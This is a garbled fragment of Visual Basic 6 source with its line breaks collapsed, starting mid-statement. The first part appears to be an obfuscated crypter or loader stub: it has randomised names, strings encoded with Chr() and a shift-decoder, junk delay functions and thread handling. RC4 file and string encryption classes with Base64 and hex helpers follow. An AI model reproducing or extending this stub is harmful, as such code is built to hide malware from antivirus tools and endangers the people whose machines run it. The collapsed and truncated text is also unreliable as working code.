rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), lsaT0XIiU(Chr(16) & Chr(36) & Chr(56) & Chr(61) & Chr(58) & Chr(54) & Chr(13) & Chr(33) & Chr(62) & Chr(46) & Chr(45) & Chr(46), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), uN4A7JYVh.hThreadEnd SubPublic Function uQCmiVrhYmwffREfBOdK()Dim gdQpmIfDJFQUj As IntegergdQpmIfDJFQUj = 9Do While gdQpmIfDJFQUj < 31 DoEvents: gdQpmIfDJFQUj = gdQpmIfDJFQUj + 1LoopEnd FunctionPublic Function rQULGpVOz(JBgWQxEpO As String, vYbu2rL3E As Integer) Dim TSdQtKmmj As Integer For TSdQtKmmj = 1 To Len(JBgWQxEpO) Mid(JBgWQxEpO, TSdQtKmmj, 1) = Chr(Asc(Mid(JBgWQxEpO, TSdQtKmmj, 1)) - vYbu2rL3E) Next TSdQtKmmj rQULGpVOz = JBgWQxEpOEnd FunctionPublic Sub tMgzujOYZQ()If "rEDTYaRrGyjQSoQUjt" = "cOBcyxaGZKOoOaTmjF" Then EndEnd SubPublic Function AsoAQgBpyV()If "rEDTYaRrGyjQSoQUjt" = "cOBcyxaGZKOoOaTmjF" Then EndDim xCKAgopnsP As CurrencyxCKAgopnsP = "5836"End Function
Option Explicit Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Event Progress(Percent As Long) Private m_Key As StringPrivate m_sBox(0 To 255) As IntegerPrivate m_bytIndex(0 To 63) As BytePrivate m_bytReverseIndex(0 To 255) As BytePrivate Const k_bytEqualSign As Byte = 61Private Const k_bytMask1 As Byte = 3Private Const k_bytMask2 As Byte = 15Private Const k_bytMask3 As Byte = 63Private Const k_bytMask4 As Byte = 192Private Const k_bytMask5 As Byte = 240Private Const k_bytMask6 As Byte = 252Private Const k_bytShift2 As Byte = 4Private Const k_bytShift4 As Byte = 16Private Const k_bytShift6 As Byte = 64Private Const k_lMaxBytesPerLine As Long = 152Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Long) Private Sub Initialize64() m_bytIndex(0) = 65 'Asc("A") m_bytIndex(1) = 66 'Asc("B") m_bytIndex(2) = 67 'Asc("C") m_bytIndex(3) = 68 'Asc("D") m_bytIndex(4) = 69 'Asc("E") m_bytIndex(5) = 70 'Asc("F") m_bytIndex(6) = 71 'Asc("G") m_bytIndex(7) = 72 'Asc("H") m_bytIndex(8) = 73 'Asc("I") m_bytIndex(9) = 74 'Asc("J") m_bytIndex(10) = 75 'Asc("K") m_bytIndex(11) = 76 'Asc("L") m_bytIndex(12) = 77 'Asc("M") m_bytIndex(13) = 78 'Asc("N") m_bytIndex(14) = 79 'Asc("O") m_bytIndex(15) = 80 'Asc("P") m_bytIndex(16) = 81 'Asc("Q") m_bytIndex(17) = 82 'Asc("R") m_bytIndex(18) = 83 'Asc("S") m_bytIndex(19) = 84 'Asc("T") m_bytIndex(20) = 85 'Asc("U") m_bytIndex(21) = 86 'Asc("V") m_bytIndex(22) = 87 'Asc("W") m_bytIndex(23) = 88 'Asc("X") m_bytIndex(24) = 89 'Asc("Y") m_bytIndex(25) = 90 'Asc("Z") m_bytIndex(26) = 97 'Asc("a") m_bytIndex(27) = 98 'Asc("b") m_bytIndex(28) = 99 'Asc("c") m_bytIndex(29) = 100 'Asc("d") m_bytIndex(30) = 101 'Asc("e") m_bytIndex(31) = 102 'Asc("f") m_bytIndex(32) = 103 'Asc("g") m_bytIndex(33) = 104 'Asc("h") m_bytIndex(34) = 105 'Asc("i") m_bytIndex(35) = 106 'Asc("j") m_bytIndex(36) = 107 'Asc("k") m_bytIndex(37) = 108 'Asc("l") m_bytIndex(38) = 109 'Asc("m") m_bytIndex(39) = 110 'Asc("n") m_bytIndex(40) = 111 'Asc("o") m_bytIndex(41) = 112 'Asc("p") m_bytIndex(42) = 113 'Asc("q") m_bytIndex(43) = 114 'Asc("r") m_bytIndex(44) = 115 'Asc("s") m_bytIndex(45) = 116 'Asc("t") m_bytIndex(46) = 117 'Asc("u") m_bytIndex(47) = 118 'Asc("v") m_bytIndex(48) = 119 'Asc("w") m_bytIndex(49) = 120 'Asc("x") m_bytIndex(50) = 121 'Asc("y") m_bytIndex(51) = 122 'Asc("z") m_bytIndex(52) = 48 'Asc("0") m_bytIndex(53) = 49 'Asc("1") m_bytIndex(54) = 50 'Asc("2") m_bytIndex(55) = 51 'Asc("3") m_bytIndex(56) = 52 'Asc("4") m_bytIndex(57) = 53 'Asc("5") m_bytIndex(58) = 54 'Asc("6") m_bytIndex(59) = 55 'Asc("7") m_bytIndex(60) = 56 'Asc("8") m_bytIndex(61) = 57 'Asc("9") m_bytIndex(62) = 43 'Asc("+") m_bytIndex(63) = 47 'Asc("/") m_bytReverseIndex(65) = 0 'Asc("A") m_bytReverseIndex(66) = 1 'Asc("B") m_bytReverseIndex(67) = 2 'Asc("C") m_bytReverseIndex(68) = 3 'Asc("D") m_bytReverseIndex(69) = 4 'Asc("E") m_bytReverseIndex(70) = 5 'Asc("F") m_bytReverseIndex(71) = 6 'Asc("G") m_bytReverseIndex(72) = 7 'Asc("H") m_bytReverseIndex(73) = 8 'Asc("I") m_bytReverseIndex(74) = 9 'Asc("J") m_bytReverseIndex(75) = 10 'Asc("K") m_bytReverseIndex(76) = 11 'Asc("L") m_bytReverseIndex(77) = 12 'Asc("M") m_bytReverseIndex(78) = 13 'Asc("N") m_bytReverseIndex(79) = 14 'Asc("O") m_bytReverseIndex(80) = 15 'Asc("P") m_bytReverseIndex(81) = 16 'Asc("Q") m_bytReverseIndex(82) = 17 'Asc("R") m_bytReverseIndex(83) = 18 'Asc("S") m_bytReverseIndex(84) = 19 'Asc("T") m_bytReverseIndex(85) = 20 'Asc("U") m_bytReverseIndex(86) = 21 'Asc("V") m_bytReverseIndex(87) = 22 'Asc("W") m_bytReverseIndex(88) = 23 'Asc("X") m_bytReverseIndex(89) = 24 'Asc("Y") m_bytReverseIndex(90) = 25 'Asc("Z") m_bytReverseIndex(97) = 26 'Asc("a") m_bytReverseIndex(98) = 27 'Asc("b") m_bytReverseIndex(99) = 28 'Asc("c") m_bytReverseIndex(100) = 29 'Asc("d") m_bytReverseIndex(101) = 30 'Asc("e") m_bytReverseIndex(102) = 31 'Asc("f") m_bytReverseIndex(103) = 32 'Asc("g") m_bytReverseIndex(104) = 33 'Asc("h") m_bytReverseIndex(105) = 34 'Asc("i") m_bytReverseIndex(106) = 35 'Asc("j") m_bytReverseIndex(107) = 36 'Asc("k") m_bytReverseIndex(108) = 37 'Asc("l") m_bytReverseIndex(109) = 38 'Asc("m") m_bytReverseIndex(110) = 39 'Asc("n") m_bytReverseIndex(111) = 40 'Asc("o") m_bytReverseIndex(112) = 41 'Asc("p") m_bytReverseIndex(113) = 42 'Asc("q") m_bytReverseIndex(114) = 43 'Asc("r") m_bytReverseIndex(115) = 44 'Asc("s") m_bytReverseIndex(116) = 45 'Asc("t") m_bytReverseIndex(117) = 46 'Asc("u") m_bytReverseIndex(118) = 47 'Asc("v") m_bytReverseIndex(119) = 48 'Asc("w") m_bytReverseIndex(120) = 49 'Asc("x") m_bytReverseIndex(121) = 50 'Asc("y") m_bytReverseIndex(122) = 51 'Asc("z") m_bytReverseIndex(48) = 52 'Asc("0") m_bytReverseIndex(49) = 53 'Asc("1") m_bytReverseIndex(50) = 54 'Asc("2") m_bytReverseIndex(51) = 55 'Asc("3") m_bytReverseIndex(52) = 56 'Asc("4") m_bytReverseIndex(53) = 57 'Asc("5") m_bytReverseIndex(54) = 58 'Asc("6") m_bytReverseIndex(55) = 59 'Asc("7") m_bytReverseIndex(56) = 60 'Asc("8") m_bytReverseIndex(57) = 61 'Asc("9") m_bytReverseIndex(43) = 62 'Asc("+") m_bytReverseIndex(47) = 63 'Asc("/")End Sub Public Function Decode64(sInput As String) As String If sInput = "" Then Exit Function Decode64 = StrConv(DecodeArray64(sInput), vbUnicode)End Function Public Function DecodeArray64(sInput As String) As Byte() If m_bytReverseIndex(47) <> 63 Then Initialize64 Dim bytInput() As Byte Dim bytWorkspace() As Byte Dim bytResult() As Byte Dim lInputCounter As Long Dim lWorkspaceCounter As Long bytInput = Replace(Replace(sInput, vbCrLf, ""), "=", "") ReDim bytWorkspace(LBound(bytInput) To (UBound(bytInput) * 2)) As Byte lWorkspaceCounter = LBound(bytWorkspace) For lInputCounter = LBound(bytInput) To UBound(bytInput) bytInput(lInputCounter) = m_bytReverseIndex(bytInput(lInputCounter)) Next lInputCounter For lInputCounter = LBound(bytInput) To (UBound(bytInput) - ((UBound(bytInput) Mod 8) + 8)) Step 8 bytWorkspace(lWorkspaceCounter) = (bytInput(lInputCounter) * k_bytShift2) + (bytInput(lInputCounter + 2) \ k_bytShift4) bytWorkspace(lWorkspaceCounter + 1) = ((bytInput(lInputCounter + 2) And k_bytMask2) * k_bytShift4) + (bytInput(lInputCounter + 4) \ k_bytShift2) bytWorkspace(lWorkspaceCounter + 2) = ((bytInput(lInputCounter + 4) And k_bytMask1) * k_bytShift6) + bytInput(lInputCounter + 6) lWorkspaceCounter = lWorkspaceCounter + 3 Next lInputCounter Select Case (UBound(bytInput) Mod 8): Case 3: bytWorkspace(lWorkspaceCounter) = (bytInput(lInputCounter) * k_bytShift2) + (bytInput(lInputCounter + 2) \ k_bytShift4) Case 5: bytWorkspace(lWorkspaceCounter) = (bytInput(lInputCounter) * k_bytShift2) + (bytInput(lInputCounter + 2) \ k_bytShift4) bytWorkspace(lWorkspaceCounter + 1) = ((bytInput(lInputCounter + 2) And k_bytMask2) * k_bytShift4) + (bytInput(lInputCounter + 4) \ k_bytShift2) lWorkspaceCounter = lWorkspaceCounter + 1 Case 7: bytWorkspace(lWorkspaceCounter) = (bytInput(lInputCounter) * k_bytShift2) + (bytInput(lInputCounter + 2) \ k_bytShift4) bytWorkspace(lWorkspaceCounter + 1) = ((bytInput(lInputCounter + 2) And k_bytMask2) * k_bytShift4) + (bytInput(lInputCounter + 4) \ k_bytShift2) bytWorkspace(lWorkspaceCounter + 2) = ((bytInput(lInputCounter + 4) And k_bytMask1) * k_bytShift6) + bytInput(lInputCounter + 6) lWorkspaceCounter = lWorkspaceCounter + 2 End Select ReDim bytResult(LBound(bytWorkspace) To lWorkspaceCounter) As Byte If LBound(bytWorkspace) = 0 Then lWorkspaceCounter = lWorkspaceCounter + 1 CopyMemory VarPtr(bytResult(LBound(bytResult))), VarPtr(bytWorkspace(LBound(bytWorkspace))), lWorkspaceCounter DecodeArray64 = bytResultEnd Function Public Function Encode64(ByRef sInput As String) As String If sInput = "" Then Exit Function Dim bytTemp() As Byte bytTemp = StrConv(sInput, vbFromUnicode) Encode64 = EncodeArray64(bytTemp)End Function Public Function EncodeArray64(ByRef bytInput() As Byte) As String On Error GoTo ErrorHandler If m_bytReverseIndex(47) <> 63 Then Initialize64 Dim bytWorkspace() As Byte, bytResult() As Byte Dim bytCrLf(0 To 3) As Byte, lCounter As Long Dim lWorkspaceCounter As Long, lLineCounter As Long Dim lCompleteLines As Long, lBytesRemaining As Long Dim lpWorkSpace As Long, lpResult As Long Dim lpCrLf As Long If UBound(bytInput) < 1024 Then ReDim bytWorkspace(LBound(bytInput) To (LBound(bytInput) + 4096)) As Byte Else ReDim bytWorkspace(LBound(bytInput) To (UBound(bytInput) * 4)) As Byte End If lWorkspaceCounter = LBound(bytWorkspace) For lCounter = LBound(bytInput) To (UBound(bytInput) - ((UBound(bytInput) Mod 3) + 3)) Step 3 bytWorkspace(lWorkspaceCounter) = m_bytIndex((bytInput(lCounter) \ k_bytShift2)) bytWorkspace(lWorkspaceCounter + 2) = m_bytIndex(((bytInput(lCounter) And k_bytMask1) * k_bytShift4) + ((bytInput(lCounter + 1)) \ k_bytShift4)) bytWorkspace(lWorkspaceCounter + 4) = m_bytIndex(((bytInput(lCounter + 1) And k_bytMask2) * k_bytShift2) + (bytInput(lCounter + 2) \ k_bytShift6)) bytWorkspace(lWorkspaceCounter + 6) = m_bytIndex(bytInput(lCounter + 2) And k_bytMask3) lWorkspaceCounter = lWorkspaceCounter + 8 Next lCounter Select Case (UBound(bytInput) Mod 3): Case 0: bytWorkspace(lWorkspaceCounter) = m_bytIndex((bytInput(lCounter) \ k_bytShift2)) bytWorkspace(lWorkspaceCounter + 2) = m_bytIndex((bytInput(lCounter) And k_bytMask1) * k_bytShift4) bytWorkspace(lWorkspaceCounter + 4) = k_bytEqualSign bytWorkspace(lWorkspaceCounter + 6) = k_bytEqualSign Case 1: bytWorkspace(lWorkspaceCounter) = m_bytIndex((bytInput(lCounter) \ k_bytShift2)) bytWorkspace(lWorkspaceCounter + 2) = m_bytIndex(((bytInput(lCounter) And k_bytMask1) * k_bytShift4) + ((bytInput(lCounter + 1)) \ k_bytShift4)) bytWorkspace(lWorkspaceCounter + 4) = m_bytIndex((bytInput(lCounter + 1) And k_bytMask2) * k_bytShift2) bytWorkspace(lWorkspaceCounter + 6) = k_bytEqualSign Case 2: bytWorkspace(lWorkspaceCounter) = m_bytIndex((bytInput(lCounter) \ k_bytShift2)) bytWorkspace(lWorkspaceCounter + 2) = m_bytIndex(((bytInput(lCounter) And k_bytMask1) * k_bytShift4) + ((bytInput(lCounter + 1)) \ k_bytShift4)) bytWorkspace(lWorkspaceCounter + 4) = m_bytIndex(((bytInput(lCounter + 1) And k_bytMask2) * k_bytShift2) + ((bytInput(lCounter + 2)) \ k_bytShift6)) bytWorkspace(lWorkspaceCounter + 6) = m_bytIndex(bytInput(lCounter + 2) And k_bytMask3) End Select lWorkspaceCounter = lWorkspaceCounter + 8 If lWorkspaceCounter <= k_lMaxBytesPerLine Then EncodeArray64 = Left$(bytWorkspace, InStr(1, bytWorkspace, Chr$(0)) - 1) Else bytCrLf(0) = 13 bytCrLf(1) = 0 bytCrLf(2) = 10 bytCrLf(3) = 0 ReDim bytResult(LBound(bytWorkspace) To UBound(bytWorkspace)) lpWorkSpace = VarPtr(bytWorkspace(LBound(bytWorkspace))) lpResult = VarPtr(bytResult(LBound(bytResult))) lpCrLf = VarPtr(bytCrLf(LBound(bytCrLf))) lCompleteLines = Fix(lWorkspaceCounter / k_lMaxBytesPerLine) For lLineCounter = 0 To lCompleteLines CopyMemory lpResult, lpWorkSpace, k_lMaxBytesPerLine lpWorkSpace = lpWorkSpace + k_lMaxBytesPerLine lpResult = lpResult + k_lMaxBytesPerLine CopyMemory lpResult, lpCrLf, 4& lpResult = lpResult + 4& Next lLineCounter lBytesRemaining = lWorkspaceCounter - (lCompleteLines * k_lMaxBytesPerLine) If lBytesRemaining > 0 Then CopyMemory lpResult, lpWorkSpace, lBytesRemaining EncodeArray64 = Left$(bytResult, InStr(1, bytResult, Chr$(0)) - 1) End If Exit Function ErrorHandler: Erase bytResult EncodeArray64 = bytResultEnd Function Public Function EncryptFile(InFile As String, OutFile As String, Overwrite As Boolean, Optional Key As String, Optional OutputIn64 As Boolean) As Boolean On Error GoTo ErrorHandler If FileExist(InFile) = False Then EncryptFile = False Exit Function End If If FileExist(OutFile) = True And Overwrite = False Then EncryptFile = False Exit Function End If Dim FileO As Integer, Buffer() As Byte FileO = FreeFile Open InFile For Binary As #FileO ReDim Buffer(0 To LOF(FileO) - 1) Get #FileO, , Buffer() Close #FileO Call EncryptByte(Buffer(), Key) If FileExist(OutFile) = True Then Kill OutFile FileO = FreeFile Open OutFile For Binary As #FileO If OutputIn64 = True Then Put #FileO, , EncodeArray64(Buffer()) Else Put #FileO, , Buffer() End If Close #FileO EncryptFile = True Exit Function ErrorHandler: EncryptFile = FalseEnd FunctionPublic Function DecryptFile(InFile As String, OutFile As String, Overwrite As Boolean, Optional Key As String, Optional IsFileIn64 As Boolean) As Boolean On Error GoTo ErrorHandler If FileExist(InFile) = False Then DecryptFile = False Exit Function End If If FileExist(OutFile) = True And Overwrite = False Then DecryptFile = False Exit Function End If Dim FileO As Integer, Buffer() As Byte FileO = FreeFile Open InFile For Binary As #FileO ReDim Buffer(0 To LOF(FileO) - 1) Get #FileO, , Buffer() Close #FileO If IsFileIn64 = True Then Buffer() = DecodeArray64(StrConv(Buffer(), vbUnicode)) Call DecryptByte(Buffer(), Key) If FileExist(OutFile) = True Then Kill OutFile FileO = FreeFile Open OutFile For Binary As #FileO Put #FileO, , Buffer() Close #FileO DecryptFile = True Exit Function ErrorHandler: DecryptFile = FalseEnd Function Public Sub DecryptByte(byteArray() As Byte, Optional Key As String) Call EncryptByte(byteArray(), Key)End SubPublic Function EncryptString(Text As String, Optional Key As String, Optional OutputIn64 As Boolean) As String Dim byteArray() As Byte byteArray() = StrConv(Text, vbFromUnicode) Call EncryptByte(byteArray(), Key) EncryptString = StrConv(byteArray(), vbUnicode) If OutputIn64 = True Then EncryptString = Encode64(EncryptString)End FunctionPublic Function DecryptString(Text As String, Optional Key As String, Optional IsTextIn64 As Boolean) As String Dim byteArray() As Byte If IsTextIn64 = True Then Text = Decode64(Text) byteArray() = StrConv(Text, vbFromUnicode) Call DecryptByte(byteArray(), Key) DecryptString = StrConv(byteArray(), vbUnicode)End FunctionPublic Sub EncryptByte(byteArray() As Byte, Optional Key As String)Dim i As Long, j As Long, Temp As Byte, Offset As Long, OrigLen As Long, CipherLen As Long, CurrPercent As Long, NextPercent As Long, sBox(0 To 255) As Integer If (Len(Key) > 0) Then Me.Key = KeyCall CopyMem(sBox(0), m_sBox(0), 512)OrigLen = UBound(byteArray) + 1CipherLen = OrigLen For Offset = 0 To (OrigLen - 1) i = (i + 1) Mod 256 j = (j + sBox(i)) Mod 256 Temp = sBox(i) sBox(i) = sBox(j) sBox(j) = Temp byteArray(Offset) = byteArray(Offset) Xor (sBox((sBox(i) + sBox(j)) Mod 256)) If (Offset >= NextPercent) Then CurrPercent = Int((Offset / CipherLen) * 100) NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1 RaiseEvent Progress(CurrPercent) End IfNextIf (CurrPercent <> 100) Then RaiseEvent Progress(100)End SubPrivate Function FileExist(Filename As String) As Boolean On Error GoTo ErrorHandler Call FileLen(Filename) FileExist = True Exit Function ErrorHandler: FileExist = FalseEnd FunctionPublic Property Let Key(New_Value As String) Dim a As Long, b As Long, Temp As Byte, Key() As Byte, KeyLen As Long If (m_Key = New_Value) Then Exit Property m_Key = New_Value Key() = StrConv(m_Key, vbFromUnicode) KeyLen = Len(m_Key) For a = 0 To 255 m_sBox(a) = a Next a For a = 0 To 255 b = (b + m_sBox(a) + Key(a Mod KeyLen)) Mod 256 Temp = m_sBox(a) m_sBox(a) = m_sBox(b) m_sBox(b) = Temp NextEnd Property
Option ExplicitPrivate Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)Event Progress(Percent As Long)Private m_Key As StringPrivate m_sBox(0 To 255) As IntegerPrivate byteArray() As BytePrivate hiByte As LongPrivate hiBound As LongPublic Function EncryptFile(InFile As String, OutFile As String, Overwrite As Boolean, Optional Key As String) As Boolean On Error GoTo ErrorHandler If FileExist(InFile) = False Then EncryptFile = False Exit Function End If If FileExist(OutFile) = True And Overwrite = False Then EncryptFile = False Exit Function End If Dim FileO As Integer, Buffer() As Byte FileO = FreeFile Open InFile For Binary As #FileO ReDim Buffer(0 To LOF(FileO) - 1) Get #FileO, , Buffer() Close #FileO Call EncryptByte(Buffer(), Key) If FileExist(OutFile) = True Then Kill OutFile FileO = FreeFile Open OutFile For Binary As #FileO Put #FileO, , Buffer() Close #FileO EncryptFile = True Exit FunctionErrorHandler: EncryptFile = FalseEnd FunctionPublic Function DecryptFile(InFile As String, OutFile As String, Overwrite As Boolean, Optional Key As String) As Boolean On Error GoTo ErrorHandler If FileExist(InFile) = False Then DecryptFile = False Exit Function End If If FileExist(OutFile) = True Then DecryptFile = False Exit Function End If Dim FileO As Integer, Buffer() As Byte FileO = FreeFile Open InFile For Binary As #FileO ReDim Buffer(0 To LOF(FileO) - 1) Get #FileO, , Buffer() Close #FileO Call DecryptByte(Buffer(), Key) If FileExist(OutFile) = True Then Kill OutFile FileO = FreeFile Open OutFile For Binary As #FileO Put #FileO, , Buffer() Close #FileO DecryptFile = True Exit FunctionErrorHandler: DecryptFile = FalseEnd FunctionPublic Sub DecryptByte(byteArray() As Byte, Optional Key As String) Call EncryptByte(byteArray(), Key)End SubPublic Function EncryptString(Text As String, Optional Key As String, Optional OutputInHex As Boolean) As String Dim byteArray() As Byte byteArray() = StrConv(Text, vbFromUnicode) Call EncryptByte(byteArray(), Key) EncryptString = StrConv(byteArray(), vbUnicode) If OutputInHex = True Then EncryptString = EnHex(EncryptString)End FunctionPublic Function DecryptString(Text As String, Optional Key As String, Optional IsTextInHex As Boolean) As String Dim byteArray() As Byte If IsTextInHex = True Then Text = DeHex(Text) byteArray() = StrConv(Text, vbFromUnicode) Call DecryptByte(byteArray(), Key) On Error Resume Next DecryptString = StrConv(byteArray(), vbUnicode)End FunctionPublic Sub EncryptByte(byteArray() As Byte, Optional Key As String)Dim i As Long, j As Long, Temp As Byte, Offset As Long, OrigLen As Long, CipherLen As Long, CurrPercent As Long, NextPercent As Long, sBox(0 To 255) As IntegerIf (Len(Key) > 0) Then Me.Key = KeyCall CopyMem(sBox(0), m_sBox(0), 512)OrigLen = UBound(byteArray) + 1CipherLen = OrigLenFor Offset = 0 To (OrigLen - 1) i = (i + 1) Mod 256 j = (j + sBox(i)) Mod 256 Temp = sBox(i) sBox(i) = sBox(j) sBox(j) = Temp byteArray(Offset) = byteArray(Offset) Xor (sBox((sBox(i) + sBox(j)) Mod 256)) If (Offset >= NextPercent) Then CurrPercent = Int((Offset / CipherLen) * 100) NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1 RaiseEvent Progress(CurrPercent) End IfNextIf (CurrPercent <> 100) Then RaiseEvent Progress(100)End SubPrivate Sub Reset() hiByte = 0 hiBound = 1024 ReDim byteArray(hiBound)End SubPrivate Sub Append(ByRef StringData As String, Optional Length As Long) Dim DataLength As Long If Length > 0 Then DataLength = Length Else DataLength = Len(StringData) If DataLength + hiByte > hiBound Then hiBound = hiBound + 1024 ReDim Preserve byteArray(hiBound) End If CopyMem ByVal VarPtr(byteArray(hiByte)), ByVal StringData, DataLength hiByte = hiByte + DataLengthEnd SubPrivate Function DeHex(Data As String) As String Dim iCount As Double Reset For iCount = 1 To Len(Data) Step 2 Append Chr$(Val("&H" & Mid$(Data, iCount, 2))) Next DeHex = GData ResetEnd FunctionPrivate Function EnHex(Data As String) As String Dim iCount As Double, sTemp As String Reset For iCount = 1 To Len(Data) sTemp = Hex$(Asc(Mid$(Data, iCount, 1))) If Len(sTemp) < 2 Then sTemp = "0" & sTemp Append sTemp Next EnHex = GData ResetEnd FunctionPrivate Function FileExist(Filename As String) As Boolean On Error GoTo ErrorHandler Call FileLen(Filename) FileExist = True Exit FunctionErrorHandler: FileExist = FalseEnd FunctionPrivate Property Get GData() As String Dim StringData As String StringData = Space(hiByte) CopyMem ByVal StringData, ByVal VarPtr(byteArray(0)), hiByte GData = StringDataEnd PropertyPublic Property Let Key(New_Value As String) Dim a As Long, b As Long, Temp As Byte, Key() As Byte, KeyLen As Long If (m_Key = New_Value) Then Exit Property m_Key = New_Value Key() = StrConv(m_Key, vbFromUnicode) KeyLen = Len(m_Key) For a = 0 To 255 m_sBox(a) = a Next a For a = 0 To 255 b = (b + m_sBox(a) + Key(a Mod KeyLen)) Mod 256 Temp = m_sBox(a) m_sBox(a) = m_sBox(b) m_sBox(b) = Temp NextEnd Property